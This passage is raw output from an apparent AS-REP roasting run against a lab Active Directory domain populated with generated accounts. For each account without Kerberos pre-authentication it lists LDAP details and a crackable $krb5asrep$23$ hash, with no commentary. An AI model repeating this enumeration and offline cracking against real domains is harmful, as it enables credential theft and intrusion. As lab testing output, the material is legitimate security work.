$krb5asrep$23$NOELLE_PRINCE@offsec.nl:7c251c3c626e65db63d8a2285bf58a24$e9f819bef510e758bec2dfbce41e170b1b3141e6ccaa336b558c4e23f17537ad72e58a676fcbdca57a20acfa286d933d14da362c6bfb35667e70420e7acfd5f9fcc705f379f3b298775f81dca5e003bdb6efa90c81fcb1ca0defb55231fa7e1c87847bc2a817f5d67a095002052ec5c3401d425925ac4096fc9b856acec15868f5687b8916c87d3c56ddb0ccd0d284ab6c2024bcab11e1ba062df472b6248a32e5f77f6fa1eacbf5260fc65a64f8ee451fb0e6b3952702c6bf408d7976d2f876e27e85445d2f3236e7287c63adc0ae199f1cb734b3ba2b5d5dd40a275316ee07507129f23ac3 Searching for ASREPRoast Users - Details for User 'PAT_CHAPMAN': sAMAccountName : PAT_CHAPMAN userPrincipalName : PAT_CHAPMAN@offsec.nl distinguishedName : CN=PAT_CHAPMAN,OU=Test,OU=OGC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1953 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=AU-its-distlist1,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=GE-wie-distlist1,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=MA-446-distlist1,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=MA-her-distlist1,OU=ServiceAccounts,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=EV-mey-distlist1,OU=Test,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=PA-imagoodbo-distlist1,OU=Groups,OU=BDE,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:19 AM lastLogonTimestamp : 2/10/2022 1:59:38 PM $krb5asrep$23$PAT_CHAPMAN@offsec.nl:d7b756dbc5e26948510d5a967a9b4b2b$0251188ebe3eca1460e1f1364379c4ee14cb4722dd340920fc183e9f0790ee7f0afa393cb794b1a9c9c0c97fbd5cf3515b393547c9848423e49d690ade43770f23b73dfa6307970de0806ddc16ff4af9e98f01abf896e4fa70be8620e9910872dd174e21fda69ae256abe1a3e0ad9a0c0250adc8f5d0b8eecf61c6779c34f998f5df43e9e108d9a3520345b655104433e6eaa33f7da2c1701b41cb070b7ddbfad4a3dab24917f9d2c9bbb5fda4d606b6b35d855ac225cf798781eee4812c1e7a36780027584b71e228bbdbe28c702c08e4128236f046de6890401bc2826f87e3384e7449b969 Searching for ASREPRoast Users - Details for User 'NEWTON_ZIMMERMAN': sAMAccountName : NEWTON_ZIMMERMAN userPrincipalName : NEWTON_ZIMMERMAN@offsec.nl distinguishedName : CN=NEWTON_ZIMMERMAN,OU=AWS,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1959 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=KA-126-admingroup1,OU=Groups,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=HE-261218224-admingroup1,OU=People,DC=offsec,DC=nl CN=MA-bla-distlist1,OU=T2-Permissions,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=RO-teq-admingroup1,OU=Test,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=DU-cha-distlist1,OU=ServiceAccounts,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=NE-harrypote-distlist1,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:20 AM lastLogonTimestamp : 2/10/2022 1:59:38 PM $krb5asrep$23$NEWTON_ZIMMERMAN@offsec.nl:576345aae2c8c874a541e5b00151e6eb$62b99f142534e1975cba83e27d238e983df89f23ca4c2edd8b67926e1e020d3b331baea7b3a2f4de35aff1431dd4a4aa6bb6825b9b155aab00feeb9ba0696366799fd845ebe50c3267ded51c37a1bc2906a420ff77f5f5bb2e9165f3bbb6a7a563c9fdae78ea95522ebce0f1cd0857884dce9d573c4373f0eb8a1df55868446a6259c45855a4043393a5bbe3e59d0c00c6dcb08b7b3ce3170bbb48468e0217ffbcaa844ea59292b1549dc78ae02d440c6be6d968f9d94f864fa659b6cf31b32bcc41a353256864e826ce0adaf6250bb4b3b8496f6a3552187343cec42eb45cd6261520018f38 Searching for ASREPRoast Users - Details for User 'CLEMENT_BLACKWELL': sAMAccountName : CLEMENT_BLACKWELL userPrincipalName : CLEMENT_BLACKWELL@offsec.nl distinguishedName : CN=CLEMENT_BLACKWELL,OU=Groups,OU=ITS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1967 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=AL-cinthia10-distlist1,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=WA-singaraja-distlist1,OU=ServiceAccounts,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=TR-catalina2-distlist1,OU=Devices,OU=GOO,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:22 AM lastLogonTimestamp : 2/10/2022 1:59:38 PM $krb5asrep$23$CLEMENT_BLACKWELL@offsec.nl:c6a51c195d6f3fbb725739a12cad9ae7$cd1a5af6a5abf08f96cce756c94ffb616defffc5524d6040ff004320aec330f52d23307dca7610e73cf29686ef2e21de7e740fb89bc8b9663087bd37f771f2e9c3008645ad7ef2f82dc5711f3faefb0897c2c8bb510202ea91b14df4bd8974cf89b50704dfbe00db12beb67db8e925f5d5724a576663857348786697e39e5e9a4ea4f626e6f5a18a599f7d6054f90b2f376eb791e27886b1a565a3f364456108551b2f2354e8311c491c17e11869d20a93213e163654566716e38a99d6c1885fe95f9925187541cedd698558232df2b8f59d092bbc3b43f9310bc88ce2b06e902a9e8786c175 Searching for ASREPRoast Users - Details for User 'MOSES_SOSA': sAMAccountName : MOSES_SOSA userPrincipalName : MOSES_SOSA@offsec.nl distinguishedName : CN=MOSES_SOSA,OU=SEC,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1980 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=SE-mor-distlist1,OU=Devices,OU=ITS,OU=Tier 1,DC=offsec,DC=nl CN=IS-mariana3D-distlist1,OU=Groups,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=LE-170-distlist1,OU=Devices,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=BE-bia-distlist1,OU=TST,OU=Tier 1,DC=offsec,DC=nl CN=AD-fatimacit-distlist1,OU=Devices,OU=AWS,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:25 AM lastLogonTimestamp : 2/10/2022 1:59:38 PM $krb5asrep$23$MOSES_SOSA@offsec.nl:758a30b34910d43e0b38a4b87ad39706$a20495abe118dd025c6cecdced639016653eff31231085513e4b482981c857da847d94c53bcbb34f55bec7576709d15e112ccdf9217a6a6a9ba414fc31e462ec289f4d14a2ea989a8537faae6649e82cb774715fed3cdc3513cf7091d67bd9427bb0c106fd35f7fcb95bbef67ff2c78432a69517b74b5284ebf0ca4401890139607ea4938008c3c73ae873034958c512f0328dea16d516f3590c372a527f46ca2fcf8f12d47e0bb378fe152bd7771a18067e7e0663cfde93bb3d93d3c3cf01e17669572bac6071edee1cffd0aed4482fc85e7fc44f7cd3e2d8ec012ef8db99a84db17c884a58 Searching for ASREPRoast Users - Details for User 'BRENT_PATRICK': sAMAccountName : BRENT_PATRICK userPrincipalName : BRENT_PATRICK@offsec.nl distinguishedName : CN=BRENT_PATRICK,OU=ServiceAccounts,OU=FIN,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1986 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=OL-gladiator-distlist1,OU=Groups,OU=AZR,OU=Tier 2,DC=offsec,DC=nl CN=IR-alpinista-admingroup1,OU=Groups,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=JA-Mygoodnes-distlist1,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=RU-az2826720-distlist1,OU=ServiceAccounts,OU=SEC,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:26 AM lastLogonTimestamp : 2/10/2022 1:59:39 PM Searching for ASREPRoast Users - Details for User 'JASPER_KAUFMAN': sAMAccountName : JASPER_KAUFMAN userPrincipalName : JASPER_KAUFMAN@offsec.nl distinguishedName : CN=JASPER_KAUFMAN,OU=FIN,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2014 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=VI-PRIMOALEX-admingroup1,OU=Groups,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=RO-sop-distlist1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=DnsUpdateProxy,CN=Users,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:33 AM lastLogonTimestamp : 2/10/2022 1:59:39 PM $krb5asrep$23$JASPER_KAUFMAN@offsec.nl:7a2a23f8bbdc24a609f190714b1e64f1$a8085cb7ded4d8a4af7b3c9fab04105097ab86457fa1987ca4c385454266122c52e9be366ef500ee7c1c646a3babb78a9b475410451df5c3d7c4c40d6929ccc19b3b1a74e99444c7ad0e9509c89d3c14be4a5a69c8af68aacf9bd034fb644cbce72c089e4615390505062d0d235d4932ac23aa629ff6bff12aff0607e14967296a073fdfa0b75a1c8212a381e68a60c6195428cf024d0d2db2dc83971428abffc01230d58e8430651a57ffe2d2d58763bc376a91748656e3cf8c381a77630bc4cb319e3a8f012a4e9587ebaca581920759b46330cde623498c702dfed429356df0194a20cf8a Searching for ASREPRoast Users - Details for User 'EILEEN_JENNINGS': sAMAccountName : EILEEN_JENNINGS userPrincipalName : EILEEN_JENNINGS@offsec.nl distinguishedName : CN=EILEEN_JENNINGS,OU=AZR,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2017 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=TA-YOM-distlist1,OU=TST,OU=Stage,DC=offsec,DC=nl CN=KA-kar-distlist1,OU=Devices,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=BR-lil-distlist1,OU=Devices,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=AP-a12-admingroup1,OU=Stage,DC=offsec,DC=nl CN=CA-oop-distlist1,OU=Devices,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=KA-viv-distlist1,OU=ESM,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:34 AM lastLogonTimestamp : 2/10/2022 1:59:39 PM $krb5asrep$23$EILEEN_JENNINGS@offsec.nl:b5f5a6306d205cab3f54737caf7ba6f9$d28d284b32d0b79bf7579bb345b4c21a8abe882691f1375be9822319e736d569dce775611922a5c826358227ae8eeea34b86f1bd40887dcf93b62e57ffc5a065efd6f9cd18eec06153c7bcc949068bfe526adb3ec0d763ccc1a2b6465e812788b8c7ba5171f8df5a824c93f34a4c622bd8fbdd0b87a5e70d1fe2bd1e717a08c2f386ad9e589588cc534bb7fa11c379626512aeecd7661a4b6555acc4b757c6493185d2b63777f2c634dd7e5a7c76bebf26656440159bdf90577c0b0352ed0ea87aaf0aa11e8fe1fe32afc956bebda18b71ce5d4fa4b3ec983b8969f3ac7104fa9391133db415 Searching for ASREPRoast Users - Details for User 'TAMRA_BRADSHAW': sAMAccountName : TAMRA_BRADSHAW userPrincipalName : TAMRA_BRADSHAW@offsec.nl distinguishedName : CN=TAMRA_BRADSHAW,OU=ITS,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2046 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:02:40 AM lastLogonTimestamp : 2/10/2022 1:59:39 PM $krb5asrep$23$TAMRA_BRADSHAW@offsec.nl:e15a9e8c88ffeb11373cc58b859f80b1$85c472e5a56f70d0b95c9b6e24b5b71934f90a88a775e3357bc5f6c1d4ca1d44166e009853b5023d843e7d52ed443e5ab6f291df6d836d89fb9e419e92e68595f42abd1362aee766b8d0d9375e8a3e8a7a32d74520df18647ea423a70c0bf6a16472a065f6ba124fc1d7b72e8ae74ea388e5dd243369be719057695dfb080316bc06cf44fb89a1bb00e4c706429b07ea89b3f94a7f1327bf7f65e5faadaacb8a78a3330cd4942ce77408b0af3658984a9291410b1d4f12228a69d858ea7cb422ee9819e8b71822e08e8d983d605416be8a1ad02df1c0c98986f4be8997b827b6a9e1e14ce876 Searching for ASREPRoast Users - Details for User 'JENNIFER_GREGORY': sAMAccountName : JENNIFER_GREGORY userPrincipalName : JENNIFER_GREGORY@offsec.nl distinguishedName : CN=JENNIFER_GREGORY,OU=Groups,OU=OGC,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2059 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=BR-lil-distlist1,OU=Devices,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=JE-ger-admingroup1,OU=T0-Roles,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=PR-aym-distlist1,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=DU-cha-distlist1,OU=ServiceAccounts,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=ED-Zyanyanoc-distlist1,OU=BDE,OU=People,DC=offsec,DC=nl CN=ES-tom-distlist1,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=LU-marchiqui-distlist1,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=OC-harrypott-distlist1,OU=Devices,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=KA-viv-distlist1,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=DA-exx-distlist1,OU=Groups,OU=SEC,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:43 AM lastLogonTimestamp : 2/10/2022 1:59:39 PM $krb5asrep$23$JENNIFER_GREGORY@offsec.nl:4f9af9930dbbd616264a21a91b33b9e2$5aaa6bfacd8ac5412ae8d3c62f6be780ececd3f00dde8e6e1e45b5d4710461b9fe1b7622a2df0bea4f24c5b801042650e15ce87c4e1cb63d554d46b33918c37ef9e6cbe000b91a67b303a57e6661b7547fbc3913d4be93e921d5dec1d425f5d08b97c40b37e10e5fb5118e54223a079457f0d8c8bf4393ba2bf6219db50bb3e31a79b0b965d8c2c749c8cca48e84b86a9f637f2b6da88b95820835ccf01c28006e67041fbf6b25b74f03a2e94cf123dfdad0d5d0bc82b3d17345e136248695b32e920cb3d4e6ac67e381b66fe26101c4eec6313276460513a46181def921e010a0d7dfcf16c9 Searching for ASREPRoast Users - Details for User 'FERNANDO_HAYES': sAMAccountName : FERNANDO_HAYES userPrincipalName : FERNANDO_HAYES@offsec.nl distinguishedName : CN=FERNANDO_HAYES,OU=ServiceAccounts,OU=SEC,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2066 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:02:45 AM lastLogonTimestamp : 2/10/2022 1:59:39 PM $krb5asrep$23$FERNANDO_HAYES@offsec.nl:0e228f94b5eedf6c1c1924873f66c02c$b693ece99ee99ea8bb504f935175904abb3a2b1e6593fd6cb3621ed649e41b8de683eaa90eb780717ac288cde821dd2ba1595200163622050964f83df27440a3170e3436b98fc64eebb5db0ba9e472b77bff7e1cd36ada096dc17e037ab31c82ad31054290d59a52480d719bdd489a7d48cf3a524d1802f64552094393bd1f7f8743c9ea2668f9c835b2db275aef7cdfdf77d3a22cd78b4e4fab87cb667a67c29f72ae5ab771f15830a5ceca4d03d1f4e739ef519d3631ea97ab98c2738368878a97d2f2ad56e02f8fbcb6ae8ab77ce67d51bc08de4d1368c6626b448675ccada8452afc5b44 Searching for ASREPRoast Users - Details for User 'GARY_ROBERSON': sAMAccountName : GARY_ROBERSON userPrincipalName : GARY_ROBERSON@offsec.nl distinguishedName : CN=GARY_ROBERSON,OU=Devices,OU=AZR,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2123 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=BR-200308vya-distlist1,OU=Devices,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=BE-crounou17-admingroup1,OU=Tier 1,DC=offsec,DC=nl CN=ER-991-admingroup1,OU=Devices,OU=AZR,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:58 AM lastLogonTimestamp : 2/10/2022 1:59:39 PM $krb5asrep$23$GARY_ROBERSON@offsec.nl:c19542e7187802e0582ec1cd27797053$d4def582c16780550e851e7313395d1d088d7dd92c6d2e2a249a65e25d702d07a743684abfab0fbc436bc2baf91be39747b9e423f8ea00ed200810db1efbaf836f641fcb105385d8ae7a2152caf10943ea986ddd07e4df32f972dbad6f4a97693c06e1da1a062572fa7dbc1a40d83f810a0da2933a051e929732fab08f77ac4899c2b6f668238717f2f404850b5242a573dc90f0fe09e6bfd31648ecc08be8604b2c1e941fccc63683fede17110fa38042f8e16f920ce59e84c863be9c52a7bfe11a5fac34db28358590e966d6c1a0b62c35d4afd70447e5fbcdf6d43a9d364728b92eb6e326 Searching for ASREPRoast Users - Details for User 'EARL_NIELSEN': sAMAccountName : EARL_NIELSEN userPrincipalName : EARL_NIELSEN@offsec.nl distinguishedName : CN=EARL_NIELSEN,OU=ServiceAccounts,OU=FIN,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2130 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=DI-and-admingroup1,OU=Test,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=JE-350Zteamo-distlist1,OU=Test,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=ME-289-admingroup1,OU=ServiceAccounts,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=SE-616308127-distlist1,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=AN-ome-distlist1,OU=Devices,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=DE-HAR-distlist1,OU=FIN,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:00 AM lastLogonTimestamp : 2/10/2022 1:59:39 PM $krb5asrep$23$EARL_NIELSEN@offsec.nl:3a2bfd8cee85fdc5c1d89fa102eed4c4$24348a1fea9b5274e6af6d9da74f837b7e8960bc857e2af1076ef6dbdcd55d6ac93dbdf4959b6747484f56982fe15ebf70ed3331780e9f6604a1a6834f9f5adceb4d15e898507cb43fb850fa246facb64f4110aa2d6a7bdde32e5bd1cddc620b1e2b391c7a47e4001517ee18ffbb55203406874dea8febb61594e6f41eba2d5d46836425ae402277ce4b74cd5ab3b31a911e0d4b20c3af92e8d2eb1034d1b56c3724ee1e74cdf911ba60e50ad65f9cf394a438d3d4c4c3b505864fde52ce3cb46ee176e25fa5bee425f85981c77f4180c0b303096f7c71a8395d0c2f3d31ab7078cd570c103d Searching for ASREPRoast Users - Details for User 'ROXIE_KAUFMAN': sAMAccountName : ROXIE_KAUFMAN userPrincipalName : ROXIE_KAUFMAN@offsec.nl distinguishedName : CN=ROXIE_KAUFMAN,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2170 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:03:09 AM lastLogonTimestamp : 2/10/2022 1:59:40 PM $krb5asrep$23$ROXIE_KAUFMAN@offsec.nl:7988d58d02e3bb2537a556fd0369f928$9e4f2adb852070dbe201a52320f9d87ee5421d8750a8085fff9bf9a13323ce93eed3f664dd3f1455d48a1229076eb480f3fa7718d16a227c73c8ba6fa0c0a793b9b13cfd065a9bddeec55b3dda807d0f18ccf33fe240f71df6253c769ad20188b9e0c34e9234082e78560dd5e384906f7aba251048855d95a4f2e638b156e9b46a36d63edc4047e12cad8ed34b7c608623b4416609bc7a7ec2c5730c58f5aa99f115bd03ca6f598175dbdbc29bd85f8eda7787340a2bc354d73b99d99908e5fb0e98ce8947a1a3dd0fb6b4922969bc3cc1827182267be5e345fbf05d44c08e9c057eb6d302b6 Searching for ASREPRoast Users - Details for User 'ELIZA_KIRBY': sAMAccountName : ELIZA_KIRBY userPrincipalName : ELIZA_KIRBY@offsec.nl distinguishedName : CN=ELIZA_KIRBY,OU=Devices,OU=OGC,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2183 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=OC-seguimosa-distlist1,OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=FL-KOA-admingroup1,OU=Groups,OU=SEC,OU=Stage,DC=offsec,DC=nl CN=TR-200-distlist1,OU=Groups,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=DA-telefonic-distlist1,OU=Test,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=BR-cas-distlist1,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:12 AM lastLogonTimestamp : 2/10/2022 1:59:40 PM $krb5asrep$23$ELIZA_KIRBY@offsec.nl:8aa2e222d4dad1f0dd01886618bedd2d$b42f73221105c89be12a1888404c31fb64cd5a8ab113171acc24cd09a7fd43c4b2d28155d0b945ad8f4c90495c1f18f7bf1dab66fcecd5b9f48027fa55fe80bc6f7ffc35b0d4327659d1acc90c0623220c5423a8f901d412e2e79d952128922ab91931c3d39c1c5f7814eda8092d5517b5713f01a684d29a11f41291a61f84d940f1d4d353bcf2d2bb9027344e7ffbe8ff84dfc61483a697267e70b68c6c75ef463881c5110a410c59b9f8d9d7c29bb3dce4b419233f287c31b3f83aeb26020f78c45125c4a7c0e309240432c3434c7b7be695acd7000ce9e77938530a8f5f84d4b0099b65fc Searching for ASREPRoast Users - Details for User 'ARIEL_CHEN': sAMAccountName : ARIEL_CHEN userPrincipalName : ARIEL_CHEN@offsec.nl distinguishedName : CN=ARIEL_CHEN,OU=HRE,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2193 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=TR-sohuymagu-admingroup1,OU=Devices,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=AN-dassault6-distlist1,OU=ServiceAccounts,OU=TST,OU=Tier 1,DC=offsec,DC=nl CN=CA-hermana34-admingroup1,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=SU-youlookyo-distlist1,OU=Test,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=BR-cas-distlist1,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:14 AM lastLogonTimestamp : 2/10/2022 1:59:40 PM $krb5asrep$23$ARIEL_CHEN@offsec.nl:fb4cac7cd9734a26de705f7cc92dc8f5$c4944a77b832e64bec09168e59b00d2ac8628dbfc72fe74c0b0009b4e7a09fc2904c46ce2ded20a4348f72895e847d793a864fe752ae91917a7a1b35ac23479d150fabb6834f4dd8920e2c028dc079a656c3e3678054cd82e369f324d3ea0848410e2c02f5afea0f765e671ac60a1a6cbcb18535686a217b2788736c5ceeeb19adc3fafe9d765b440d3793d5621b1442b4c9e6fe81317a1397834f9ce8d801467fed9b499d0dc4ea12a0c5ce421eb7fc06fc6197dc8b896546daf149cd86a34de41e601fc514706f6be518d5bcf7426f56b8d7860d8b1e90463504cdc285d98058facc0b9a99 Searching for ASREPRoast Users - Details for User 'ELENA_HENRY': sAMAccountName : ELENA_HENRY userPrincipalName : ELENA_HENRY@offsec.nl distinguishedName : CN=ELENA_HENRY,OU=Devices,OU=FIN,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2208 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=CO-alicruzet-distlist1,OU=ServiceAccounts,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=JA-104744421-distlist1,OU=ServiceAccounts,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=JA-belldandy-distlist1,OU=People,DC=offsec,DC=nl CN=FL-danielase-distlist1,OU=ServiceAccounts,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=CH-123456lim-admingroup1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=MY-laf-distlist1,OU=ServiceAccounts,OU=BDE,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:18 AM lastLogonTimestamp : 2/10/2022 1:59:40 PM $krb5asrep$23$ELENA_HENRY@offsec.nl:5651f7ebc8a5e426838cb7acd6d8c592$19738660cc190cdb11db1a366a6c0c1d29e18f051a488683e61aedb8ae827b49b0a6af181ed05849afa589a10c27e27e0a37b08825b3cfa83469022c0783cb42f21ed9618ead0fffab51b6a9b33bd44a2807454ab60b89dbaa4d79d6fa30b9369a6baf2db7405689ed4d09c1158c4d80c6f1b49e80de5eaa8f2427ba5e139ec64e1323af37989a341ee0ce05c5eec5de7b7023686b3da41fba8c39292fefa319d97d95f74e9c254402cbab5737fe61abba53e06e32141c00f84888a657c24b80e479b5adc25de23eaf5bc05a248677ce218e42cde7773bfe0df60794dc4d10c530855bc187d7 Searching for ASREPRoast Users - Details for User 'LULA_CHANEY': sAMAccountName : LULA_CHANEY userPrincipalName : LULA_CHANEY@offsec.nl distinguishedName : CN=LULA_CHANEY,OU=FIN,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2209 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:03:18 AM lastLogonTimestamp : 2/10/2022 1:59:40 PM $krb5asrep$23$LULA_CHANEY@offsec.nl:17de63ee6077cb3f2fd81c38fefe49bb$3c1ad4842f531a382bf7b5e8c352160435d19a0c6fedf09822cd243c03771732de9093b454b185db76f47af4e3f839f4c418dc26418f35c9dd9ace21a3871c93c630111ec3613ff8143538f209459b9489baa1c562c4ea48365f1d648bdae3651f6f8cf5abccadd3b720107babc4eb395a3f88e1084e1be77eee70d28f262a805a9bc718c2b8952fc27b6b68996bc81b0c0a20ea88f86c29c26f4c4bd8518223bdd6123163f48674a8d6c9094df7f7f939783ff0a6047a51a2ea9a950c2d952780702ee98fadad51d04091c164c5a6d4a16938c8a1c33a592b6c0b412e625575ccd8aa2f0fa1 Searching for ASREPRoast Users - Details for User 'BEVERLEY_AUSTIN': sAMAccountName : BEVERLEY_AUSTIN userPrincipalName : BEVERLEY_AUSTIN@offsec.nl distinguishedName : CN=BEVERLEY_AUSTIN,OU=T0-Servers,OU=Tier 0,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2229 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=GE-WW9-distlist1,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=EV-adi-distlist1,OU=Test,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=RU-florecita-distlist1,OU=ServiceAccounts,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=EL-308-distlist1,OU=Groups,OU=FIN,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:23 AM lastLogonTimestamp : 2/10/2022 1:59:40 PM $krb5asrep$23$BEVERLEY_AUSTIN@offsec.nl:749e6fdbfa377dbacba9ce421abc1ade$2197eb50276ddb06a5ae43c91c4f4244bddc9f96c3d6d4f62487084e4a712ef1122099407b6284f131ca9c5a2fd5df1a0653916d8960d55f0bf8b020862487918e2c32e0385d8bc7f6f2b83ddf59a358e33a6850cf6e1e9b90f0567f2814b6d01f14ed049e413badf144a5cb6f88c5ab33ea2a6d6dcc2d6205cc3a7c7eebcbf37e5a80cdd1e45d8fb57881c7b9681fcfe8df0c65a64ab50e48be176ae7895ae39e2f5f8a05ae8180359e740072f9870cafd1e5fc89b0e80a1a3450ddd78b474dd08b5582581cf4ee80622c6833b4d41c58321ae6dbc75232ae1e9d2d0aef28bb81ca010c8f0b Searching for ASREPRoast Users - Details for User 'LILA_GENTRY': sAMAccountName : LILA_GENTRY userPrincipalName : LILA_GENTRY@offsec.nl distinguishedName : CN=LILA_GENTRY,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2241 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=RO-jnorman12-admingroup1,OU=HRE,OU=People,DC=offsec,DC=nl CN=BO-rat-distlist1,OU=TST,OU=Tier 